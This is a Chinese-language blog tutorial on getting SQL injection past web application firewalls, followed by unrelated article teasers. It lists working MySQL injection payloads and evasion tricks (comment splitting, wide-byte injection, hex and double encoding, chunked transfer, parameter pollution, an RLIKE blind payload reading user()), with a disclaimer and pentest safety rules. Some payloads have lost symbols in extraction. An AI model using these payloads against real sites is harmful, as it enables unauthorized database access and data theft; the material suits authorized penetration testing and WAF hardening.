【SRC】SQL注入WAF 绕过应对策略(二) 📅 发布时间:2026/7/9 23:29:13 👁️ 浏览次数: 本文仅用于技术研究禁止用于非法用途。Author:枷锁感谢本文章思路归属于猎洞时刻的师傅WAF 绕过的核心逻辑在于利用 WAF 正则引擎、中间件解析层与底层数据库如 MySQL对同一段字符的“认知偏差”寻找语法间隙。一、 语法层字符混淆与干扰1.1 注释符的深度运用物理分割链条UNION/**/SELECT填充干扰字符UNION/*%00*/SELECT、UNION/*%0a*/SELECT、UNION/*any_string*/SELECTMySQL 内联注释基础/*!UNION*/ /*!SELECT*/版本探测/*!50448SELECT*/(若当前 MySQL 版本≥\ge≥5.4.48 则执行)畸形语法/*!00000SELECT*/(在所有版本中均会执行)1.2 空白符替代方案WAF 往往死盯着%20(空格) 和。URL 编码控制字符%09(Tab),%0a(换行),%0b(垂直制表),%0c(换页),%0d(回车)符号替代 (无需空格注入)括号包裹法UNION(SELECT(1),2,3)反引号包裹法SELECTversion()算术/属性符法id1.0UNION.SELECT.1,2或id1-1UNIONSELECT1,21.3 字符集失配 (Charset Mismatch)利用 WAF 与数据库解析编码的不一致实现“隐身”。宽字节注入在 GBK 编码环境下利用%df吞掉转义符\。id1%df AND 11 --Unicode 归一化 (Normalization)部分 WAF 会将特殊的 Unicode 字符如转换回标准 ASCII如%通过构造 WAF 识别后的“安全”字符串在后端还原为攻击 Payload。二、 语义层关键字与函数变形2.1 逻辑运算符替代原词替代符号备注AND(%26%26)标准逻辑与ORORXOR异或判断1 XOR 0 1ANDREGEXPid1 REGEXP ^a(正则判断)2.2 控制流与条件混淆当IF()函数被封杀时可以使用更复杂的结构CASE 结构CASE WHEN (11) THEN 1 ELSE 0 ENDELT 函数ELT(1, a, b)(返回第一个字符串)COALESCE 函数COALESCE(NULL, 1)(返回第一个非空值)2.3 替代元数据查询 (Bypassing information_schema)WAF 通常严密监控information_schema。MySQL 5.7 替代方案sys.schema_table_statistics_with_buffersys.x$schema_flattened_keys无列名注入 (Join Based)利用UNION SELECT * FROM (SELECT 1) a JOIN (SELECT 2) b等结构探测列数。三、 编码与表达层数据特征隐藏3.1 十六进制 (Hex) 绕过针对引号过滤的核心技巧。字符串 Hex 化admin→\rightarrow→0x61646d696e嵌套转换UNHEX(61646d696e)3.2 隐式类型转换与算术运算浮点数绕过id1.0,id1e0,id10e-1算术还原id1abc-0(MySQL 将前导数字识别为 1)位运算使用、、、^替代简单的数值比较。3.3 双重编码 (Double Encoding)若 WAF 在解码一次后即进行规则匹配而应用端会解码两次SELECT→\rightarrow→%53%45%4c%45%43%54(单次)→\rightarrow→%25%35%33%25%34%35...(双重)四、 协议与传输层深度解析差异4.1 分块传输 (Chunked Encoding)手动构造 HTTP 报文将恶意代码切分到不同的 Chunk 中欺骗只检测前 N 个字节或完整 Body 的 WAF。4.2 参数污染 (HPP - HTTP Parameter Pollution)利用中间件对重复参数处理的逻辑差异PHP/Apache取最后一个参数值。ASP/IIS拼接所有参数值逗号分隔。实战 Payload (ASP/IIS)?id1/*id*/UNION/*id*/SELECT/*id*/1,2,3WAF 看到id1/*,id*/UNION/*等碎块安全。后端处理id1/*,*/UNION/*,*/SELECT/*,*/1,2,3执行。4.3 脏数据填充 (Size Limit)WAF 性能瓶颈利用在 POST 请求中填充数 KB 的垃圾数据如a1junkAAAA...id1 UNION...核心 Payload 若超出 WAF 的检测窗口深度则会被直接放行。五、 高级技巧隐蔽盲注变形5.1 正则报错盲注 (RLIKE Error)利用正则引擎在解析非法语法时报错的特性PayloadAND 1(SELECT 1 FROM DUAL WHERE 1 RLIKE IF(SUBSTR(user(),1,1)r, 0x22, 0x28))0x22(双引号) 是合法正则不报错0x28(左括号) 是非法正则直接导致 SQL 报错。5.2 二阶注入 (Second-Order SQLi)攻击 Payload 在第一次请求如注册、修改资料中被安全存储到数据库中在第二次请求如查看个人主页、生成报表时被取出并拼接到 SQL 语句中执行。WAF 往往只关注入口流量很难防御已在数据库内部的攻击。六、 安全红线生产环境避坑指南SQL 注入不仅是数据泄露更是逻辑篡改。拒绝 OR 11在UPDATE/DELETE点注入时使用OR 11会导致全表覆盖或清空。这是重大的生产事故。逻辑收敛测试优先使用AND 12(确认影响结果集缩减)探测延迟建议使用SLEEP(1)且带上LIMIT 1条件。数据完整性保护严禁在未授权环境执行INTO OUTFILE写 WebShell严禁执行DROP TABLE或TRUNCATE操作。原则渗透测试应遵循最小损害原则所有破坏性操作必须在克隆的沙盒环境中验证。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。希望这个教程对你有所帮助记得负责任地进行安全测试。
C++11 异步编程入门教程 1. 概述C11 引入了 <future>头文件,提供了一套标准化的异步编程工具,用于简化多线程编程和异步任务管理。这套工具主要包括 std::future、std::shared_future、std::async、std::promise、std::packaged_task等组件。2. std::futurestd::future是一… 2026/7/6 16:15:16
数字图像处理篇---JPEG2000 核心比喻:从“马赛克拼图”到“水彩晕染”还记得JPEG是把图切成8x8的小块(马赛克)单独处理吗?这带来了“块状伪影”的问题。 JPEG2000放弃了“切块”思路,改用了一种更先进、更连续的方法——小波变换。想象你要临摹一… 2026/7/5 11:25:53
【毕业设计】基于springboot+小程序的自助停车缴费系统小程序的设计与实现(源码+文档+远程调试,全bao定制等) 博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am… 2026/5/17 3:28:13
三角形内心坐标计算 3 种方法:向量法、角平分线法、重心坐标法 三角形内心坐标计算的三种实用算法:从数学推导到代码实现在计算机图形学、游戏开发和几何算法竞赛中,三角形内心坐标的计算是一个基础但至关重要的操作。内心不仅是三角形内切圆的圆心,也是许多几何算法中的关键参考点。本文将深入探讨三种计… 2026/7/9 23:28:47
OpenClaw具身智能系统:多Agent实时协作与阿里云本地混合部署 1. OpenClaw不是“另一个Agent框架”,而是多智能体协作的物理世界接口层 很多人第一次看到OpenClaw,下意识就去翻它的GitHub README,然后点开examples目录,照着跑一个 python run_demo.py --agent_nameweb_surfer ——结果卡在 … 2026/7/9 23:28:47
STM32与TLP241A在电气隔离系统中的应用实践 1. 电气隔离在嵌入式系统中的核心价值 在工业控制、医疗设备和电力监测等关键领域,电气隔离早已不是可有可无的"加分项",而是确保系统稳定运行的底线要求。去年参与某污水处理厂PLC系统改造时,我们就曾因忽视隔离设计导致整个中控室… 2026/7/9 23:28:47
Hermes Agent:本地智能体运行时与CLI工具编排中枢 1. Hermes Agent 不是“另一个 CLI 工具”,而是你本地智能体工作流的调度中枢Hermes Agent 这个名字最近在开发者社区里频繁刷屏,但很多人点开官网或 GitHub 仓库后第一反应是:“这到底是个啥?CLI?桌面应用?… 2026/7/9 23:26:47
Trae本地代码认知增强:Git驱动的claude.md同步与Code Review Graph 1. 项目概述:Trae 写代码时真正省时间的两个操作,不是噱头是实测高频动作Trae 这个工具最近在开发者圈子里讨论度很高,尤其在 Code Review、重构洞察和 Git 协作流程里频繁出现。但很多人装完 Trae 后,还在用它当“高级聊天框”—… 2026/7/9 23:22:43
Comic Backup:如何将在线漫画真正变为你的永久收藏? Comic Backup:如何将在线漫画真正变为你的永久收藏? 【免费下载链接】comic-backup Back up your comics as CBZ. 项目地址: https://gitcode.com/gh_mirrors/co/comic-backup 你是否曾担心过,那些花费真金白银购买的在线漫画… 2026/7/9 23:22:43
机器视觉与PLC集成:轮毂缺陷检测与字符识别误差控制在0.2mm内 机器视觉与PLC集成:轮毂缺陷检测与字符识别误差控制在0.2mm内的技术实现轮毂作为汽车关键零部件,其表面质量直接影响行车安全与美观。传统人工检测效率低且易漏检,而采用机器视觉与PLC集成方案可实现微米级精度检测。本文将深入解析高精度视觉… 2026/7/9 0:01:04
GBase 8a vs MySQL 8.0:ALTER TABLE语法与限制的5点关键差异对比 GBase 8a与MySQL 8.0:ALTER TABLE语法差异深度解析与实战指南1. 两种数据库的ALTER TABLE能力全景对比在数据库架构设计和运维过程中,表结构变更(DDL操作)是不可避免的需求。GBase 8a作为国产分析型数据库代表,与开源M… 2026/7/9 0:03:06
【大数据毕业设计】基于多源旅游数据的景区热度分析与推荐系统的设计与实现 基于 Django 的旅游偏好挖掘与景区推荐系统(源码+文档+远程调试,全bao定制等) 博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am… 2026/7/9 0:05:09
6个月转型AI工程师:实战路径与核心技能 1. 项目概述:6个月转型AI工程师的可行性路径在2023年大模型技术爆发的背景下,AI工程师岗位需求同比增长217%(LinkedIn数据)。不同于传统算法工程师需要3-5年培养周期,现代AI工程师更侧重工程化落地能力。我在硅谷科技公… 2026/7/7 11:26:57
TPAFE0808与PIC18F87K22的多通道信号采集方案 1. 项目背景与核心需求在工业自动化、医疗设备和科研仪器等领域,多通道信号采集与系统监测是基础且关键的技术需求。传统方案往往面临通道数量不足、信号调理复杂、系统集成度低等问题。TPAFE0808作为一款8通道模拟前端芯片,与PIC18F87K22微控制器的组合… 2026/7/8 20:15:17
STC3115与PIC18LF26K80构建高精度电池管理系统 1. STC3115与PIC18LF26K80在电池管理系统中的核心价值在现代电子设备中,电池管理系统(BMS)的重要性不亚于设备的核心处理器。STC3115作为一款高精度电池电量监测IC,与PIC18LF26K80微控制器的组合,构成了一个既能精确监控又能智能管理的完整解… 2026/7/8 14:25:08